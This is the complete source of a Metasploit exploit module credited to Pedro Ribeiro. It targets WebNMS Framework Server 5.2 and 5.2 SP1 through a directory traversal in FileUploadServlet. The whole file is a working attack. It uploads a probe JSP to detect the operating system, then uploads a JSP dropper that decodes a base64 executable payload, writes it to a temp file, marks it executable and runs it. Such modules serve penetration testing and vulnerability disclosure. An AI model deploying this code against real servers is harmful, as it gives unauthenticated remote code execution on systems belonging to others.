##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WebNMS Framework Server Arbitrary File Upload',
'Description' => %q(
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
unauthenticated user to upload text files by using a directory traversal attack
on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
executes a malicious payload, achieving code execution under the user which the
WebNMS server is running.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
),
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
],
'DefaultOptions' => { 'WfsDelay' => 15 },
'Privileged' => false,
'Platform' => %w(linux win),
'Targets' =>
[
[ 'Automatic', {} ],
[
'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[
'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 4 2016'
)
)
register_options(
[
Opt::RPORT(9090),
OptString.new('TARGETURI', [ true, "WebNMS path", '/'])
],
self.class
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
'method' => 'GET'
)
if res && res.code == 405
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def upload_payload(payload, is_exploit)
jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp'
if is_exploit
print_status("#{peer} - Uploading payload...")
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
'method' => 'POST',
'data' => payload.to_s,
'ctype' => 'text/html',
'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
)
if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/
if is_exploit
print_status("#{peer} - Payload uploaded successfully")
end
return jsp_name
else
return nil
end
end
def pick_target
return target if target.name != 'Automatic'
print_status("#{peer} - Determining target")
os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
jsp_name = upload_payload(os_finder_payload, false)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
'method' => 'GET'
)
if res && res.code == 200
register_files_for_cleanup('jsp/' + jsp_name)
if res.body.include? "Linux"
return targets[1]
elsif res.body.include? "Windows"
return targets[2]
end
end
return nil
end
def generate_jsp_payload
opts = { arch: @my_target.arch, platform: @my_target.platform }
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
exe = generate_payload_exe(opts)
base64_exe = Rex::Text.encode_base64(exe)
native_payload_name = rand_text_alpha(rand(6) + 3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
var_raw = rand_text_alpha(rand(8) + 3)
var_ostream = rand_text_alpha(rand(8) + 3)
var_buf = rand_text_alpha(rand(8) + 3)
var_decoder = rand_text_alpha(rand(8) + 3)
var_tmp = rand_text_alpha(rand(8) + 3)
var_path = rand_text_alpha(rand(8) + 3)
var_proc2 = rand_text_alpha(rand(8) + 3)
if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end
jsp = %|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();
BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|
jsp.delete!("\n\r\t")
return jsp
end
def exploit
@my_target = pick_target
if @my_target.nil?
print_error("#{peer} - Unable to select a target, we must bail.")
return
else
print_status("#{peer} - Selected target #{@my_target.name}")
end
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
jsp_payload = generate_jsp_payload
jsp_name = upload_payload(jsp_payload, true)
if jsp_name.nil?
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
else
register_files_for_cleanup('jsp/' + jsp_name)
end
print_status("#{peer} - Executing payload...")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
'method' => 'GET'
)
end
end